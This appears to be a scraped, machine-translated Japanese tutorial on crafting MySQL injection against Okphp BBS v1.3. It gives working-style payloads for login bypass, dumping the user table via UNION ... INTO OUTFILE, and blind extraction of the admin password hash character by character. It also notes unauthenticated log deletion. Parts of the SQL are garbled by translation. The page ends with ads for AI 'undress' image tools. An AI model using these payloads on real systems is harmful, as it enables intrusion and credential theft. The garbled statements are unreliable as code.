PHP 攻撃手法についての話 PHP mysql インジェクション ステートメントの構築
1. 前書き:
バージョン情報: Okphp BBS v1.3 オープン ソース バージョン
PHP と MYSQL 自体のせいで、PHP MYSQL インジェクションは ASP よりも難しく、特にインジェクション中のステートメントの構築が困難です。この記事は、主に Okphp BBS v1.3 のいくつかのファイルの簡単な分析を使用して、php mysql インジェクション ステートメントの構築方法について説明します。この記事があなたのお役に立てば幸いです。
声明: 記事で言及されているすべての「脆弱性」はテストされておらず、まったく存在しない可能性があります。重要なのは、分析のアイデアと声明の構造です。
2. 「脆弱性」分析:
1.admin/login.php インジェクションにより認証バイパスの脆弱性が発生します:
コード:
コードをコピー コードは次のとおりです。
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password); $q = "username='$username'、password='$password' の $user_table から id,group_id を選択します";
$res = sql_query($q,$conn)
$row = sql_fetch_row( $res );
$q = "username='$username' とpassword='$password' の $user_table から id,group_id を選択します"
select * from $user_table where username='$username' およびpassword='$password' などのステートメントを変更するメソッドは次のとおりです:
構築 1 (論理演算を使用): $username=' OR ' a'='a $password=' OR 'a'='a
SQL ステートメントと同等:
select * from $user_table where username='' OR 'a'='a' and passwd=' ' OR 'a'='a'
構造 2 (mysql のコメント ステートメント #、/* を使用して $password をコメント アウトします): $username=admin'#(または admin'/*)
つまり:
Select * from $user_table where username='admin'#' and passwd='$password'"
以下と同等:
select * from $user_table where username='admin'
in admin/ login.php の $q ステートメントの $password はクエリの前に md5 暗号化されるため、構造 1 のステートメントによってバイパスすることはできません。ここでは構造 2 を使用します:
select id,group_id from $user_table where username=' admin'#' およびpassword='$password'"
以下と同等です:
select id,group_id from $user_table where username='admin'
これは、admin という名前のユーザーが存在する限り当てはまります。ユーザー名がわからない場合は、対応する ID のみがわかります。
次のように構築できます: $username=' OR id=1#
以下と同等:
select id,group_id from $user_table where username='' または id =1# およびpassword='$password' (# 以降はコメントアウトされています)
次に、コードを確認します。
コードをコピーします。 コードは次のとおりです。
if ($row[0]) {
// 管理者またはスーパーモデレータでない場合
if ($username != "admin" && !eregi("(^| &)3($|&)",$row[1])) {
$login = 0
}
else {
$ login = 1;
}
}
// ログイン失敗---------------
if (!$login) {
write_log( "モデレータログイン","0","パスワードが間違っています");
echo " ";
}
// アクセス ! ---
else {
session_start();
最終的には、$login=1 を IE 経由で直接送信するだけで済みます。それをバイパスします:)。
コード:
コードをコピー コードは次のとおりです:
$md5password = md5($password); $q = "username='$username'、password='$md5password' の $user_table から id、group_id、email を選択します"; >$ res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$username がフィルタリングされていない場合は、1 とpassword= と同じコメントを使用します。 '$md5password'" ;
バックエンドokphp の記述は非常にいい加減に書かれているようで、すべてのファイルが管理者がログインしているかどうかを判断せず、任意にアクセスできるようになっています。 list.php のコードを見てみましょう:
コードをコピーします
コードは次のとおりです: コードをコピーします コードは次のとおりです: $row = sql_fetch_row($res);
$arr = array("del_log","log_id","del_id");
get_r($arr)
//
if ($del_log) {
省略...
if ($log_id) {
foreach ($log_id as $val) {
$q = "id='$val' の $log_table から削除します"; = sql_query($q,$conn);
if ($res) {
$i;
}
}
elseif ($del_id) {
$ q = "id='$del_id' の $log_table から削除";
$res = sql_query($q,$conn)
}
$tpl->setVariable( "メッセージ"," $i log deleteed ok!");
$tpl->setVariable("action","index.php?action=list_log");
}
コードは単純ですget_r($arr); を使用して、送信されたパラメータを決定します。必要なのは、対応する $del_log、$log_id、$del_id だけです。削除は成功します。
okphp の作者はフィルタリングが好きではないようです :)。基本的に、SQL ステートメント内のすべての変数は「裸」です。特定のファイルはリストしません。コードを読んでください。forumslist_threads.php を例として簡単に説明します。
list_threads.php のコードを見てください:
mysql はサブクエリをサポートしていないため、変数 $forum_id はフィルタリングされません (MySQL バージョンが必要です)。 4.00 以降) クロスデータベース操作を実現するには、次のように構築します:
構築 1: SELECT * FROM table INTO OUTFILE '/path/file.txt' を使用します (mysql にはファイル権限が必要です。注意してください) Win システムでは絶対パスが必要であること ( c://path/ /file.txt など)。クエリされたコンテンツを file.txt に入力すると、http://ip/path/file.txt を通じてクエリ結果にアクセスできます。上記のように $forum_id を構築できます:
以下:
$q = "select name,belong_id,moderator 、protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' Union select * from user_table into outfile '/path/file.txt'";
上記のメソッドには次のものが必要です厳密な比較では、Web へのパスを取得する必要があります (通常、間違った変数を送信して mysql にエラーを報告させることで取得できます)。PHP の magic_gpc=on オプションにより、インジェクションに一重引用符が表示されなくなります。 magic_gpc=on の場合、以下をバイパスすることもできます。
構築 2: ASP クロスデータベース クエリと同様に、union select を直接使用してステートメントを構築し、返される結果が異なるようにして解決策を推測します。 このメソッドは一重引用符をバイパスできます。 (magic_gpc= on) と注入を続行しますが、この注入は特定のコードによっては PHP では比較的困難です。具体的なステートメントの構築については、pinkeyes の記事「php インジェクションの例」を参照してください。以下に、okphp に基づいて「異なる戻り結果」インジェクションを使用する例を示します (脆弱性 5 を参照)。
5.admin/login.php と users/login.php は、SQL ステートメントの構造を通じて、指定されたユーザー パスワードのハッシュを取得するために推測できます: (実際には、これは脆弱性 1 と 2 と同じです。別々に取り出します)ここでは主に構築方法を説明します。)
問題のコードは脆弱性 1 と同じです。
ステートメントの構造 (追記: ステートメント自体はユーザー ライブラリを操作するためのものであるため、union を使用する必要はありません):
$username=admin' AND LENGTH(password)=6#
SQL ステートメントは次のようになります:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"
以下と同等:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"
LENGTH(password)=6 が true の場合は、true でない場合は正常に戻ります。 、mysql はエラーを報告します。
このようにして、ユーザーの管理者パスワードのハッシュを推測できます。例: $username=admin' ord(substring(password,1,1))=57#
ユーザーのパスワードの最初の桁の ASCII コード値を推測できます....

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、

あなたが経験豊富な PHP 開発者であれば、すでにそこにいて、すでにそれを行っていると感じているかもしれません。あなたは、運用を達成するために、かなりの数のアプリケーションを開発し、数百万行のコードをデバッグし、大量のスクリプトを微調整してきました。

このチュートリアルでは、PHPを使用してXMLドキュメントを効率的に処理する方法を示しています。 XML(拡張可能なマークアップ言語)は、人間の読みやすさとマシン解析の両方に合わせて設計された多用途のテキストベースのマークアップ言語です。一般的にデータストレージに使用されます

JWTは、JSONに基づくオープン標準であり、主にアイデンティティ認証と情報交換のために、当事者間で情報を安全に送信するために使用されます。 1。JWTは、ヘッダー、ペイロード、署名の3つの部分で構成されています。 2。JWTの実用的な原則には、JWTの生成、JWTの検証、ペイロードの解析という3つのステップが含まれます。 3. PHPでの認証にJWTを使用する場合、JWTを生成および検証でき、ユーザーの役割と許可情報を高度な使用に含めることができます。 4.一般的なエラーには、署名検証障害、トークンの有効期限、およびペイロードが大きくなります。デバッグスキルには、デバッグツールの使用とロギングが含まれます。 5.パフォーマンスの最適化とベストプラクティスには、適切な署名アルゴリズムの使用、有効期間を合理的に設定することが含まれます。

文字列は、文字、数字、シンボルを含む一連の文字です。このチュートリアルでは、さまざまな方法を使用してPHPの特定の文字列内の母音の数を計算する方法を学びます。英語の母音は、a、e、i、o、u、そしてそれらは大文字または小文字である可能性があります。 母音とは何ですか? 母音は、特定の発音を表すアルファベットのある文字です。大文字と小文字など、英語には5つの母音があります。 a、e、i、o、u 例1 入力:string = "tutorialspoint" 出力:6 説明する 文字列「TutorialSpoint」の母音は、u、o、i、a、o、iです。合計で6元があります

静的結合(静的::) PHPで後期静的結合(LSB)を実装し、クラスを定義するのではなく、静的コンテキストで呼び出しクラスを参照できるようにします。 1)解析プロセスは実行時に実行されます。2)継承関係のコールクラスを検索します。3)パフォーマンスオーバーヘッドをもたらす可能性があります。

PHPの魔法の方法は何ですか? PHPの魔法の方法には次のものが含まれます。1。\ _ \ _コンストラクト、オブジェクトの初期化に使用されます。 2。\ _ \ _リソースのクリーンアップに使用される破壊。 3。\ _ \ _呼び出し、存在しないメソッド呼び出しを処理します。 4。\ _ \ _ get、dynamic属性アクセスを実装します。 5。\ _ \ _セット、動的属性設定を実装します。これらの方法は、特定の状況で自動的に呼び出され、コードの柔軟性と効率を向上させます。
